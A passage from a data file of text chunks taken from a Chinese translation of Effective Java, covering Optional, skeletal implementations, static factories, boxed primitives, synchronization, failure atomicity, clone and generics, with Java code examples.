这种重构并非总是恰当的，但是，凡是在恰当的地方，它都会使 API 用起来更加舒服。虽然后者的调用序列没有前者漂亮，但是这样得到的 API 更加灵活。如果程序员知道调用将会成功，或者不介意由于调用失败而导致的线程终止，这种重构还允许以下这个更为简单的调用形式： obj.action(args); 如果你怀疑这个简单的调用序列是否符合要求，这个 API 重构可能就是恰当的。这样重构之后的 API 在本质上等同于第 69 条中的“状态测试方法”，并且同样的告诫依然适用：如果对象将在缺少外部同步的情况下被并发访问，或者可被外界改变状态，这种重构就是不恰当的，因为在 actionPermitted 和 action 这两个调用的时间间隔之中，对象的状态有可能会发生变化。如果单独的 actionPermitted 方法必须重复 action 方法的工作，出于性能的考虑，这种 API 重构就不值得去做。 总而言之，在谨慎使用的前提之下，受检异常可以提升程序的可读性；如果过度使用，将会使 API 使用起来非常痛苦。如果调用者无法恢复失败，就应该抛出未受检异常。如果可以恢复，并且想要迫使调用者处理异常的条件，首选应该返回一个 optional 值。当且仅当万一失败时，这些无法提供足够的信息，才应该抛出受检异常。"},
    {"text": "55. 明智审慎地返回 Optional.md 55. 明智审慎地返回 Optional.md 55. 明智审慎地返回 Optional 在 Java 8 之前，编写在特定情况下无法返回任何值的方法时，可以采用两种方法。"},
    {"text": "如果方法返回 null，客户端必须包含特殊情况代码来处理 null 返回的可能性，除非程序员能够证明 null 返回是不可能的。 如果客户端忽略检查 null 返回并将 null 返回值存储在某个数据结构中，那么会在将来的某个时间在与这个问题不相关的代码位置上，抛出 NullPointerException 异常的可能性。"},
    {"text": "不包含任何内容的 Optional 被称为空（empty）。 非空的包含值称的 Optional 被称为存在（present）。 Optional 的本质上是一个不可变的集合，最多可以容纳一个元素。"},
    {"text": "// Returns maximum value in collection - throws exception if empty public static <E extends Comparable<E>> E max (Collection<E> c) { if (c.isEmpty()) throw new IllegalArgumentException( \"Empty collection\" ); E result = null ; for (E e : c) if (result == null || e.compareTo(result) > 0 ) result = Objects.requireNonNull(e); return result; } 如果给定集合为空，此方法将抛出 IllegalArgumentException 异常。"},
    {"text": "下面是修改后的方法: // Returns maximum value in collection as an Optional<E> public static <E extends Comparable<E>> Optional<E> max (Collection<E> c) { if (c.isEmpty()) return Optional.empty(); E result = null ; for (E e : c) if (result == null || e.compareTo(result) > 0 ) result = Objects.requireNonNull(e); return Optional.of(result); } 如你所见，返回 Optional 很简单。"},
    {"text": "如果我们重写 max 方法来使用一个 Stream ，那么 Stream 的 max 操作会为我们生成 Optional 的工作 (尽管我们还是传递一个显式的 Comparator ): // Returns max val in collection as Optional<E> - uses stream public static <E extends Comparable<E>> Optional<E> max (Collection<E> c) { return c.stream().max(Comparator.naturalOrder()); } 那么，如何选择返回 Optional 而不是返回 null 或抛出异常呢？"},
    {"text": "可以指定默认值： // Using an optional to provide a chosen default value String lastWordInLexicon = max(words).orElse( \"No words...\" ); 或者可以抛出任何适当的异常。"},
    {"text": "这避免了创建异常的开销，除非它真的实际被抛出: // Using an optional to throw a chosen exception Toy myToy = max(toys).orElseThrow(TemperTantrumException:: new ); 如果你能证明 Optional 非空，你可以从 Optional 获取值，而不需要指定一个操作来执行。 但是如果 Optional 是空的，你判断错了，代码会抛出一个 NoSuchElementException 异常: // Using optional when you know there’s a return value Element lastNobleGas = max(Elements.NOBLE_GASES).get(); 有时候，可能会遇到这样一种情况：获取默认值的代价很高，除非必要，否则希望避免这种代价。"},
    {"text": "例如，请考虑此代码段，它打印一个进程的父进程 ID，如果进程没有父进程，则打印 N/A. 该代码段使用 Java 9 中引入的 ProcessHandle 类： Optional<ProcessHandle> parentProcess = ph.parent(); System.out.println( \"Parent PID: \" + (parentProcess.isPresent() ? String.valueOf(parentProcess.get().pid()) : \"N/A\" )); 上面的代码可以被如下代码所替代，使用了 Optional 的 map 方法： System.out.println( \"Parent PID: \" + ph.parent().map(h -> String.valueOf(h.pid())).orElse( \"N/A\" )); 当使用 Stream 进行编程时，通常会发现使用的是一个 Stream<Optional<T>> ，并且需要一个 Stream<T> ，其中包含非 Optional 中的所有元素，以便继续进行。 如果你正在使用 Java 8，下面是弥补这个差距的代码: streamOfOptionals .filter(Optional::isPresent) .map(Optional::get) 在 Java 9 中，Optional 配备了一个 stream() 方法。 这个方法是一个适配器， 此方法是一个适配器，它将 Optional 变为包含一个元素的 Stream，如果 Optional 为空，则不包含任何元素。 此方法与 Stream 的 flatMap 方法 (条目 45) 相结合，这个方法可以简洁地替代上面的方法： streamOfOptionals. .flatMap(Optional::stream) 并不是所有的返回类型都能从 Optional 的处理中获益。"},
    {"text": "那么什么时候应该声明一个方法来返回 Optional <T> 而不是 T 呢？ 通常， 如果可能无法返回结果，并且在没有返回结果，客户端还必须执行特殊处理的情况下，则应声明返回 Optional 的方法 。"},
    {"text": "总之，如果发现自己编写的方法不能总是返回值，并且认为该方法的用户在每次调用时考虑这种可能性很重要，那么或许应该返回一个 Optional 的方法。"},
    {"text": "抽象类不能用于定义混合类，这是因为它们不能被加载到现有的类中：一个类不能有多个父类，并且在类层次结构中没有合理的位置来插入一个类型。"},
    {"text": "例如，假设我们有一个代表歌手的接口，和另一个代表作曲家的接口： public interface Singer { AudioClip sing (Song s) ; } public interface Songwriter { Song compose ( int chartPosition) ; } 在现实生活中，一些歌手也是作曲家。"},
    {"text": "事实上，我们可以定义一个继承歌手和作曲家的第三个接口，并添加适合于这个组合的新方法： public interface SingerSongwriter extends Singer , Songwriter { AudioClip strum () ; void actSensitive () ; } 你并不总是需要这种灵活性，但是当你这样做的时候，接口是一个救星。"},
    {"text": "但是，你可以通过提供一个抽象的骨架实现类（abstract skeletal implementation class）来与接口一起使用，将接口和抽象类的优点结合起来。 接口定义了类型，可能提供了一些默认的方法，而骨架实现类在原始接口方法的顶层实现了剩余的非原始接口方法。"},
    {"text": "例如，下面是一个静态工厂方法，在 AbstractList 的顶层包含一个完整的功能齐全的 List 实现： // Concrete implementation built atop skeletal implementation static List<Integer> intArrayAsList ( int [] a) { Objects.requireNonNull(a); // The diamond operator is only legal here in Java 9 and later // If you're using an earlier release, specify <Integer> return new AbstractList<>() { @Override public Integer get ( int i) { return a[i]; // Autoboxing ([Item 6](https://www.safaribooksonline.com/library/view/effective-java-third/9780134686097/ch2.xhtml#lev6)) } @Override public Integer set ( int i, Integer val) { int oldVal = a[I]; a[i] = val; // Auto-unboxing return oldVal; // Autoboxing } @Override public int size () { return a.length; } }; } 当你考虑一个 List 实现为你做的所有事情时，这个例子是一个骨架实现的强大的演示。"},
    {"text": "接下来，为所有可以直接在基本方法之上实现的方法提供接口中的默认方法，回想一下，你可能不会为诸如 Object 类中 equals 和 hashCode 等方法提供默认方法。"},
    {"text": "由于不允许为 Object 类方法提供默认实现，因此所有实现均放置在骨架实现类中： // Skeletal implementation class public abstract class AbstractMapEntry < K , V > implements Map . Entry < K , V > { // Entries in a modifiable map must override this method @Override public V setValue (V value) { throw new UnsupportedOperationException(); } // Implements the general contract of Map.Entry.equals @Override public boolean equals (Object o) { if (o == this ) return true ; if (!(o instanceof Map.Entry)) return false ; Map.Entry<?,?> e = (Map.Entry) o; return Objects.equals(e.getKey(), getKey()) && Objects.equals(e.getValue(), getValue()); } // Implements the general contract of Map.Entry.hashCode @Override public int hashCode () { return Objects.hashCode(getKey()) ^ Objects.hashCode(getValue()); } @Override public String toString () { return getKey() + \"=\" + getValue(); } } 请注意，这个骨架实现不能在 Map.Entry 接口中实现，也不能作为子接口实现，因为默认方法不允许重写诸如 equals ， hashCode 和 toString 等 Object 类方法。"},
    {"text": "为了简洁起见，前面的例子中省略了文档注释，但是好的文档在骨架实现中是绝对必要的，无论它是否包含 一个接口或一个单独的抽象类的默认方法。"},
    {"text": "与骨架实现有稍许不同的是简单实现，以 AbstractMap.SimpleEntry 为例。 一个简单的实现就像一个骨架实现，它实现了一个接口，并且是为了继承而设计的，但是它的不同之处在于它不是抽象的：它是最简单的工作实现。"},
    {"text": "如果你导出一个重要的接口，应该强烈考虑提供一个骨架的实现类。 在可能的情况下，应该通过接口上的默认方法提供骨架实现，以便接口的所有实现者都可以使用它。 也就是说，对接口的限制通常要求骨架实现类采用抽象类的形式。"},
    {"text": "01. 考虑使用静态工厂方法替代构造方法.md 01. 考虑使用静态工厂方法替代构造方法.md 1. 考虑使用静态工厂方法替代构造方法 一个类允许客户端获取其实例的传统方式是提供一个公共构造方法。"},
    {"text": "此方法将 boolean 基本类型转换为 Boolean 对象引用： public static Boolean valueOf ( boolean b) { return b ? Boolean.TRUE : Boolean.FALSE; } 注意，静态工厂方法与设计模式中的工厂方法模式不同[Gamma95]。"},
    {"text": "类可以为其客户端提供静态工厂方法，而不是公共构造方法。 提供静态工厂方法而不是公共构造方法有优点也有缺点。 静态工厂方法的一个优点是，不像构造方法，它们是有名字的。 如果构造方法的参数本身并不描述被返回的对象，则具有精心选择名称的静态工厂更易于使用，并且生成的客户端代码更易于阅读。"},
    {"text": "这样做的类被称为实例控制（ instance-controlled）。 编写实例控制类的原因有很多。 实例控制允许一个类来保证它是一个单例 (3) 项或不可实例化的 (条目 4)。"},
    {"text": "在 OpenJDK 实现中，它们根据底层枚举类型的大小返回两个子类中的一个的实例：如果大多数枚举类型具有 64 个或更少的元素，静态工厂将返回一个 RegularEnumSet 实例， 返回一个 long 类型； 如果枚举类型具有六十五个或更多元素，则工厂将返回一个 JumboEnumSet 实例，返回一个 long 类型的数组。"},
    {"text": "服务提供者框架是提供者实现服务的系统，并且系统使得实现对客户端可用，从而将客户端从实现中分离出来。 服务提供者框架中有三个基本组：服务接口，它表示实现；"},
    {"text": "在 JDBC 的情况下， Connection 扮演服务接口的一部分， DriverManager.registerDriver 提供程序注册 API、 DriverManager.getConnection 是服务访问 API， Driver 是服务提供者接口。"},
    {"text": "以下清单并非完整： from——A 类型转换方法，它接受单个参数并返回此类型的相应实例，例如： Date d = Date.from(instant) ; of——一个聚合方法，接受多个参数并返回该类型的实例，并把他们合并在一起，例如： Set faceCards = EnumSet.of(JACK, QUEEN, KING) ; valueOf——from 和 to 更为详细的替代 方式，例如： BigInteger prime = BigInteger.valueOf(Integer.MAX_VALUE) ; instance 或 getinstance——返回一个由其参数 (如果有的话) 描述的实例，但不能说它具有相同的值，例如： StackWalker luke = StackWalker.getInstance(options) ; create 或 newInstance——与 instance 或 getInstance 类似，除了该方法保证每个调用返回一个新的实例，例如： Object newArray = Array.newInstance(classObject, arrayLen) ; getType——与 getInstance 类似，但是如果在工厂方法中不同的类中使用。 Type 是工厂方法返回的对象类型，例如： FileStore fs = Files.getFileStore(path) ; newType——与 newInstance 类似，但是如果在工厂方法中不同的类中使用。 Type 是工厂方法返回的对象类型，例如： BufferedReader br = Files.newBufferedReader(path) ; type—— getType 和 newType 简洁的替代方式，例如： List litany = Collections.list(legacyLitany) ; 总之，静态工厂方法和公共构造方法都有它们的用途，并且了解它们的相对优点是值得的。"},
    {"text": "61. 基本数据类型优于包装类.md 61. 基本数据类型优于包装类.md 61. 基本数据类型优于包装类 Java 有一个由两部分组成的类型系统，包括基本类型（如 int、double 和 boolean）和引用类型（如 String 和 List）。"},
    {"text": "基本类型和包装类型之间有三个主要区别。 首先，基本类型只有它们的值，而包装类型具有与其值不同的标识。 换句话说，两个包装类型实例可以具有相同的值和不同的标识。 第二，基本类型只有全功能值，而每个包装类型除了对应的基本类型的所有功能值外，还有一个非功能值，即 null。"},
    {"text": "）你不需要在实际使用中编写这个比较器，因为它实现了 Integer 的自然排序，但它提供了一个有趣的例子： // Broken comparator - can you spot the flaw? Comparator<Integer> naturalOrder =(i, j) -> (i < j) ? - 1 : (i == j ? 0 : 1 ); 这个比较器看起来应该可以工作，它将通过许多测试。"},
    {"text": "在实际使用中，如果你需要一个比较器来描述类型的自然顺序，你应该简单地调用 Comparator.naturalOrder() ，如果你自己编写一个比较器，你应该使用比较器构造方法，或者对基本类型使用静态比较方法（详见第 14 条）。"},
    {"text": "这避免了错误的标识比较： Comparator<Integer> naturalOrder = (iBoxed, jBoxed) -> { int i = iBoxed, j = jBoxed; // Auto-unboxing return i < j ? - 1 : (i == j ? 0 : 1 ); }; 接下来，考虑一下这个有趣的小程序： public class Unbelievable { static Integer i; public static void main (String[] args) { if (i == 42 ) System.out.println( \"Unbelievable\" ); } } 不，它不会打印出令人难以置信的东西，但它的行为很奇怪。"},
    {"text": "最后，考虑条目 6 中第 24 页的程序： // Hideously slow program! Can you spot the object creation? public static void main (String[] args) { Long sum = 0L ; for ( long i = 0 ; i < Integer.MAX_VALUE; i++) { sum += i; } System.out.println(sum); } 这个程序比它预期的速度慢得多，因为它意外地声明了一个局部变量 (sum) ，它是包装类型 Long，而不是基本类型 long。"},
    {"text": "这个类是在第 18 条中可重用的 ForwardingSet 上实现的： // Broken - invokes alien method from synchronized block! public class ObservableSet < E > extends ForwardingSet < E > { public ObservableSet (Set<E> set) { super (set); } private final List<SetObserver<E>> observers= new ArrayList<>(); public void addObserver (SetObserver<E> observer) { synchronized (observers) { observers.add(observer); } } public Boolean removeObserver (SetObserver<E> observer) { synchronized (observers) { return observers.remove(observer); } } private void notifyElementAdded (E element) { synchronized (observers) { for (SetObserver<E> observer : observers) observer.added( this , element); } } @Override public Boolean add (E element) { Boolean added = super .add(element); if (added) notifyElementAdded(element); return added; } @Override public Boolean addAll (Collection<? extends E> c) { Boolean result = false ; for (E element : c) result |= add(element); // Calls notifyElementAdded return result; } } 观察者通过调用 addObserver 方法预订通知，通过调用 removeObserver 方法取消预订。"},
    {"text": "在这两种情况下，这个回调（ callback ）接口的实例都会被传递给方法： @FunctionalInterface public interface SetObserver < E > { // Invoked when an element is added to the observable set void added (ObservableSet<E> set, E element) ; } 这个接口的结构与 BiConsumer<Obser vableSet<E> ,E> 一样。"},
    {"text": "例如，下面的程序打印出 0 ～ 99 的数字： public static void main (String[] args) { ObservableSet<Integer> set = new ObservableSet<>( new HashSet<>()); set.addObserver((s, e) -> System.out.println(e)); for ( int i = 0 ; i < 100 ; i++) set.add(i); } 现在我们来尝试一些更复杂点的例子。"},
    {"text": "假设我们用一个 addObserver 调用来代替这个调用，用来替换的那个 addObserver 调用传递了一个打印 Integer 值的观察者，这个值被添加到该集合中，如果值为 23 ，这个观察者要将自身删除： set.addObserver( new SetObserver<>() { public void added (ObservableSet<Integer> s, Integer e) { System.out.println(e); if (e == 23 ) s.removeObserver( this ); } }); 注意，这个调用以一个匿名类 SetObserver 实例代替了前一个调用中使用的 lambda 。"},
    {"text": "notifyElementAdded 方法中的迭代是在一个同步的块中，可以防止并发的修改，但是无法防止迭代线程本身回调到可观察的集合中，也无法防止修改它的 observers 列表。"},
    {"text": "这个观察者使用了一个 executor service （详见第 80 条）： // Observer that uses a background thread needlessly set.addObserver( new SetObserver<>() { public void added (ObservableSet<Integer> s, Integer e) { System.out.println(e); if (e == 23 ) { ExecutorService exec = Executors.newSingleThreadExecutor(); try { exec.submit(() -> s.removeObserver( this )).get(); } catch (ExecutionException | InterruptedException ex) { throw new AssertionError (ex); } finally { exec.shutdown(); } } } }); 顺便提一句，注意看这个程序在一个 catch 子句中捕获了两个不同的异常类型。"},
    {"text": "就像在第一个例子中一样，它会产生一个异常，因为调用线程已经有这个锁了，因此当该线程试图再次获得该锁时会成功，尽管概念上不相关的另一项操作正在该锁所保护的数据上进行着。"},
    {"text": "经过这一修改，前两个例子运行起来便再也不会出现异常或者死锁了： // Alien method moved outside of synchronized block - open calls private void notifyElementAdded (E element) { List<SetObserver<E>> snapshot = null ; synchronized (observers) { snapshot = new ArrayList<>(observers); } for (SetObserver<E> observer : snapshot) observer.added( this , element); } 事实上，要将外来方法的调用移出同步的代码块，还有一种更好的方法。"},
    {"text": "Java 类库提供了一个并发集合（ concurrent collection ），详见第 81 条，称作 CopyOnWriteArrayList，这是专门为此定制的。 这个 CopyOnWriteArrayList 是 ArrayList 的一种变体，它通过重新拷贝整个底层数组，在这里实现所有的写操作。"},
    {"text": "注意其中并没有任何显式的同步： // Thread-safe observable set with CopyOnWriteArrayList private final List<SetObserver<E>> observers = new CopyOnWriteArrayList<>(); public void addObserver (SetObserver<E> observer) { observers.add(observer); } public Boolean removeObserver (SetObserver<E> observer) { return observers.remove(observer); } private void notifyElementAdded (E element) { for (SetObserver<E> observer : observers) observer.added( this , element); } 在同步区域之外被调用的外来方法被称作“开放调用”（open call）[Goetz06, 10 .1.4]。"},
    {"text": "如果正在编写一个可变的类，有两种选择：省略所有的同步，如果想要并发使用，就允许客户端在必要的时候从外部同步，或者通过内部同步，使这个类变成是线程安全的（详见第 82 条），你还可以因此获得明显比从外部锁定整个对象更高的并发性。"},
    {"text": "java.util 中的集合（除了已经废弃的 Vector 和 Hashtable 之外）采用了前一种方法，而 java.util.concurrent 中的集合则采用了后一种方法（详见第 81 条）。"},
    {"text": "同样地，java.util.Random 中线程安全的伪随机数生成器，被 java.util.concurrent.ThreadLocalRandom 中非同步的实现取代，主要也是出于上述原因。"},
    {"text": "如果方法修改了静态字段，并且该方法很可能要被多个线程调用，那么也必须在内部同步对这个字段的访问（除非这个类能够容忍不确定的行为） 。"},
    {"text": "76. 保持失败原子性.md 76. 保持失败原子性.md 76. 保持失败原子性 当对象抛出异常之后，通常我们期望这个对象仍然保持在一种定义良好的可用状态之中， 即使失败是发生在执行某个操作的过程中间。对于受检异常而言，这尤为重要，因为调用者期望能从这种异常中进行恢复。 一般而言，失败的方法调用应该使对象保持在被调用之前的状态。 具有这种属性的方法被称为具有失败原子性 (failure atomic) 。 有几种途径可以实现这种效果。最简单的办法莫过于设计一个不可变的对象 (详见第 17 条) 。如果对象是不可变的，失败原子性就是显然的。如果一个操作失败了，它可能会阻止创建新的对象，但是永远也不会使已有的对象保持在不一致的状态之中，因为当每个对象被创建之后它就处于一致的状态之中，以后也不会再发生变化。 对于在可变对象上执行操作的方法，获得失败原子性最常见的办法是，在执行操作之前检查参数的有效性 (详见第 49 条) 。这可以使得在对象的状态被修改之前，先抛出适当的异常。比如，以第 7 条中的 Stack.pop 方法为例： public Object pop () { if ( size == 0 ) throw new EmptyStackException(); Object result = elements[--size]; elements[size] = null ; /* Eliminate obsolete reference */ return (result); } 如果取消对初始大小 ( size ) 的检查，当这个方法企图从一个空栈中弹出元素时，它仍然会抛出异常。然而，这将会导致 size 字段保持在不一致的状态 (负数) 之中，从而导致将来对该对象的任何方法调用都会失败。此外，那时， pop 方法抛出的 ArrayIndexOutOfBoundsException 异常对于该抽象来说也是不恰当的 (详见第 73 条) 。 一种类似的获得失败原子性的办法是，调整计算处理过程的顺序，使得任何可能会失败的计算部分都在对象状态被修改之前发生。如果对参数的检查只有在执行了部分计算之后才能进行，这种办法实际上就是上一种办法的自然扩展。比如，以 TreeMap 的情形为例，它的元素被按照某种特定的顺序做了排序。为了向 TreeMap 中添加元素，该元素的类型就必须是可以利用 TreeMap 的排序准则与其他元素进行比较的。如果企图增加类型不正确的元素，在 tree 以任何方式被修改之前，自然会导致 ClassCastException 异常。 第三种获得失败原子性的办法是，在对象的一份临时拷贝上执行操作，当操作完成之后再用临时拷贝中的结果代替对象的内容。如果数据保存在临时的数据结构中，计算过程会更加迅速，使用这种办法就是件很自然的事。例如，有些排序函数会在执行排序之前，先把它的输入列表备份到一个数组中，以便降低在排序的内循环中访问元素所需要的开销。这是出于性能考虑的做法，但是，它增加了一项优势：即使排序失败，它也能保证输入列表保持原样。 最后一种获得失败原子’性的办法远远没有那么常用，做法是编写一段恢复代码 (recoverycode )，由它来拦截操作过程中发生的失败，以及便对象回滚到操作开始之前的状态上。这种办法主要用于永久性的 (基于磁盘的) 数据结构。 虽然一般情况下都希望实现失败原子性，但并非总是可以做到。举个例子，如果两个线程企图在没有适当的同步机制的情况下，并发地修改同一个对象，这个对象就有可能被留在不一致的状态之中。因此，在捕获了 ConcurrentModificationException 异常之后再假设对象仍然是可用的，这就是不正确的。错误通常是不可恢复的，因此，当方法抛出 AssertionError 时，不需要努力去保持失败原子性。 即使在可以实现失败原子性的场合，它也并不总是人们所期望的。对于某些操作，它会显著地增加开销或者复杂性。也就是说， 一旦了解了这个问题，获得失败原子性往往既简单又容易。 总而言之，作为方法规范的一部分，它产生的任何异常都应该让对象保持在调用该方法之前的状态。如果违反这条规则， API 文档就应该清楚地指明对象将会处于什么样的状态。遗憾的是，大量现有的 API 文档都未能做到这一点。"},
    {"text": "13. 谨慎地重写 clone 方法.md 13. 谨慎地重写 clone 方法.md 13. 谨慎地重写 clone 方法 Cloneable 接口的目的是作为一个 mixin 接口 (条目 20)，公布这样的类允许克隆。"},
    {"text": "你不能，不借助反射 (条目 65)，仅仅因为它实现了 Cloneable 接口，就调用对象上的 clone 方法。 即使是反射调用也可能失败，因为不能保证对象具有可访问的 clone 方法。"},
    {"text": "一般意图是，对于任何对象 x，表达式 x.clone() != x 返回 true，并且 x.clone().getClass() == x.getClass() 也返回 true，但它们不是绝对的要求，但通常情况下， x.clone().equals(x) 返回 true，当然这个要求也不是绝对的。"},
    {"text": "如果一个类的 clone 方法返回一个通过调用构造方法获得而不是通过调用 super.clone 的实例，那么编译器不会抱怨，但是如果一个类的子类调用了 super.clone，那么返回的对象包含错误的类，从而阻止子类 clone 方法正常执行。"},
    {"text": "如果一个类重写的 clone 方法是有 final 修饰的，那么这个约定可以被安全地忽略，因为子类不需要担心。 但是，如果一个 final 类有一个不调用 super.clone 的 clone 方法，那么这个类没有理由实现 Cloneable 接口，因为它不依赖于 Object 的 clone 实现的行为。 假设你希望在一个类中实现 Cloneable 接口，它的父类提供了一个行为良好的 clone 方法。"},
    {"text": "例如，对于条目 11 中的 PhoneNumber 类，情况就是这样，但是请注意，不可变类永远不应该提供 clone 方法，因为这只会浪费复制。 有了这个警告，以下是 PhoneNumber 类的 clone 方法： // Clone method for class with no references to mutable state @Override public PhoneNumber clone () { try { return (PhoneNumber) super .clone(); } catch (CloneNotSupportedException e) { throw new AssertionError(); // Can't happen } } 为了使这个方法起作用， PhoneNumber 的类声明必须被修改，以表明它实现了 Cloneable 接口。 虽然 Object 类的 clone 方法返回 Object 类，但是这个 clone 方法返回 PhoneNumber 类。"},
    {"text": "例如，考虑条目 7 中的 Stack 类： public class Stack { private Object[] elements; private int size = 0 ; private static final int DEFAULT_INITIAL_CAPACITY = 16 ; public Stack () { this .elements = new Object[DEFAULT_INITIAL_CAPACITY]; } public void push (Object e) { ensureCapacity(); elements[size++] = e; } public Object pop () { if (size == 0 ) throw new EmptyStackException(); Object result = elements[--size]; elements[size] = null ; // Eliminate obsolete reference return result; } // Ensure space for at least one more element. private void ensureCapacity () { if (elements.length == size) elements = Arrays.copyOf(elements, 2 * size + 1 ); } } 假设你想让这个类可以克隆。"},
    {"text": "如果 clone 方法仅返回 super.clone() 调用的对象，那么生成的 Stack 实例在其 size 属性中具有正确的值，但 elements 属性引用与原始 Stack 实例相同的数组。"},
    {"text": "最简单的方法是对元素数组递归调用 clone 方法： // Clone method for class with references to mutable state @Override public Stack clone () { try { Stack result = (Stack) super .clone(); result.elements = elements.clone(); return result; } catch (CloneNotSupportedException e) { throw new AssertionError(); } } 请注意，我们不必将 elements.clone 的结果转换为 Object[] 数组。 在数组上调用 clone 会返回一个数组，其运行时和编译时类型与被克隆的数组相同。"},
    {"text": "这是一个基本的问题：像序列化一样，Cloneable 体系结构与引用可变对象的 final 属性的正常使用不兼容，除非可变对象可以在对象和其克隆之间安全地共享。"},
    {"text": "例如，假设您正在为哈希表编写一个 clone 方法，其内部包含一个哈希桶数组，每个哈希桶都指向“键-值”对链表的第一项。 为了提高性能，该类实现了自己的轻量级单链表，而没有使用 java 内部提供的 java.util.LinkedList： public class HashTable implements Cloneable { private Entry[] buckets = ...; private static class Entry { final Object key; Object value; Entry next; Entry(Object key, Object value, Entry next) { this .key = key; this .value = value; this .next = next; } } ... // Remainder omitted } 假设你只是递归地克隆哈希桶数组，就像我们为 Stack 所做的那样： // Broken clone method - results in shared mutable state! @Override public HashTable clone () { try { HashTable result = (HashTable) super .clone(); result.buckets = buckets.clone(); return result; } catch (CloneNotSupportedException e) { throw new AssertionError(); } } 虽然被克隆的对象有自己的哈希桶数组，但是这个数组引用与原始数组相同的链表，这很容易导致克隆对象和原始对象中的不确定性行为。"},
    {"text": "下面是一种常见的方法： // Recursive clone method for class with complex mutable state public class HashTable implements Cloneable { private Entry[] buckets = ...; private static class Entry { final Object key; Object value; Entry next; Entry(Object key, Object value, Entry next) { this .key = key; this .value = value; this .next = next; } // Recursively copy the linked list headed by this Entry Entry deepCopy () { return new Entry(key, value, next == null ? null : next.deepCopy()); } } @Override public HashTable clone () { try { HashTable result = (HashTable) super .clone(); result.buckets = new Entry[buckets.length]; for ( int i = 0 ; i < buckets.length; i++) if (buckets[i] != null ) result.buckets[i] = buckets[i].deepCopy(); return result; } catch (CloneNotSupportedException e) { throw new AssertionError(); } } ... // Remainder omitted } 私有类 HashTable.Entry 已被扩充以支持“深度复制”方法。 HashTable 上的 clone 方法分配一个合适大小的新哈希桶数组，迭代原来哈希桶数组，深度复制每个非空的哈希桶。"},
    {"text": "为了防止这种情况发生，可以用迭代来替换 deepCopy 中的递归： // Iteratively copy the linked list headed by this Entry Entry deepCopy () { Entry result = new Entry(key, value, next); for (Entry p = result; p.next != null ; p = p.next) p.next = new Entry(p.next.key, p.next.value, p.next.next); return result; } 克隆复杂可变对象的最后一种方法是调用 super.clone，将结果对象中的所有属性设置为其初始状态，然后调用更高级别的方法来重新生成原始对象的状态。"},
    {"text": "或者，可以选择不实现工作的 clone 方法，并通过提供以下简并 clone 实现来阻止子类实现它： // clone method for extendable class not supporting Cloneable @Override protected final Object clone () throws CloneNotSupportedException { throw new CloneNotSupportedException(); } 还有一个值得注意的细节。 如果你编写一个实现了 Cloneable 的线程安全的类，记得它的 clone 方法必须和其他方法一样（条目 78）需要正确的同步。 Object 类的 clone 方法是不同步的，所以即使它的实现是令人满意的，也可能需要编写一个返回 super.clone() 的同步 clone 方法。 回顾一下，实现 Cloneable 的所有类应该重写公共 clone 方法，而这个方法的返回类型是类本身。"},
    {"text": "复制构造方法接受参数，其类型为包含此构造方法的类，例如： // Copy constructor public Yum (Yum yum) { ... }; 复制工厂类似于复制构造方法的静态工厂： // Copy factory public static Yum newInstance (Yum yum) { ... }; 复制构造方法及其静态工厂变体与 Cloneable/clone 相比有许多优点：它们不依赖风险很大的语言外的对象创建机制；"},
    {"text": "基于接口的复制构造方法和复制工厂（更适当地称为转换构造方法和转换工厂）允许客户端选择复制的实现类型，而不是强制客户端接受原始实现类型。"},
    {"text": "这段代码是合法的： // Fails at runtime! Object[] objectArray = new Long[ 1 ]; objectArray[ 0 ] = \"I don't fit in\" ; // Throws ArrayStoreException 但这个不是： // Won't compile! List<Object> ol = new ArrayList<Long>(); // Incompatible types ol.add( \"I don't fit in\" ); 无论哪种方式，你不能把一个 String 类型放到一个 Long 类型容器中，但是用一个数组，你会发现在运行时产生了一个错误；"},
    {"text": "例如，创建泛型类型的数组，参数化类型的数组，以及类型参数的数组都是非法的。 因此，这些数组创建表达式都不合法： new List<E>[] ， new List<String>[] ， new E[] 。"},
    {"text": "为了具体说明，请考虑下面的代码片段： // Why generic array creation is illegal - won't compile! List<String>[] stringLists = new List<String>[ 1 ]; // (1) List<Integer> intList = List.of( 42 ); // (2) Object[] objects = stringLists; // (3) objects[ 0 ] = intList; // (4) String s = stringLists[ 0 ].get( 0 ); // (5) 让我们假设第 1 行创建一个泛型数组是合法的。"},
    {"text": "第 3 行将 List<String> 数组存储到 Object 数组变量中，这是合法的，因为数组是协变的。 第 4 行将 List<Integer> 存储在 Object 数组的唯一元素中，这是因为泛型是通过擦除来实现的： List<Integer> 实例的运行时类型仅仅是 List ，而 List<String>[] 实例是 List[] ，所以这个赋值不会产生 ArrayStoreException 异常。"},
    {"text": "当你在强制转换为数组类型时，得到泛型数组创建错误，或是未经检查的强制转换警告时，最佳解决方案通常是使用集合类型 List<E> 而不是数组类型 E[] 。"},
    {"text": "这是一个没有泛型的简单实现： // Chooser - a class badly in need of generics! public class Chooser { private final Object[] choiceArray; public Chooser (Collection choices) { choiceArray = choices.toArray(); } public Object choose () { Random rnd = ThreadLocalRandom.current(); return choiceArray[rnd.nextInt(choiceArray.length)]; } } 要使用这个类，每次调用方法时，都必须将 Object 的 choose 方法的返回值转换为所需的类型，如果类型错误，则转换在运行时失败。"},
    {"text": "// A first cut at making Chooser generic - won't compile public class Chooser < T > { private final T[] choiceArray; public Chooser (Collection<T> choices) { choiceArray = choices.toArray(); } // choose method unchanged } 如果你尝试编译这个类，会得到这个错误信息： Chooser.java: 9 : error: incompatible types: Object[] cannot be converted to T[] choiceArray = choices.toArray(); ^ where T is a type-variable: T extends Object declared in class Chooser 没什么大不了的，将 Object 数组转换为 T 数组： choiceArray = (T[]) choices.toArray(); 这没有了错误，而是得到一个警告： Chooser.java: 9 : warning: [unchecked] unchecked cast choiceArray = (T[]) choices.toArray(); ^ required: T[], found: Object[] where T is a type-variable: T extends Object declared in class Chooser 编译器告诉你在运行时不能保证强制转换的安全性，因为程序不会知道 T 代表什么类型——记住，元素类型信息在运行时会被泛型删除。"},
    {"text": "下面是另一个版本的 Chooser 类，编译时没有错误或警告： // List-based Chooser - typesafe public class Chooser < T > { private final List<T> choiceList; public Chooser (Collection<T> choices) { choiceList = new ArrayList<>(choices); } public T choose () { Random rnd = ThreadLocalRandom.current(); return choiceList.get(rnd.nextInt(choiceList.size())); } } 这个版本有些冗长，也许运行比较慢，但是值得一提的是，在运行时不会得到 ClassCastException 异常。"},
    {"text": "08. 避免使用Finalizer和Cleaner机制.md 08. 避免使用Finalizer和Cleaner机制.md 8. 避免使用 Finalizer 和 Cleaner 机制 Finalizer 机制是不可预知的，往往是危险的，而且通常是不必要的。"},
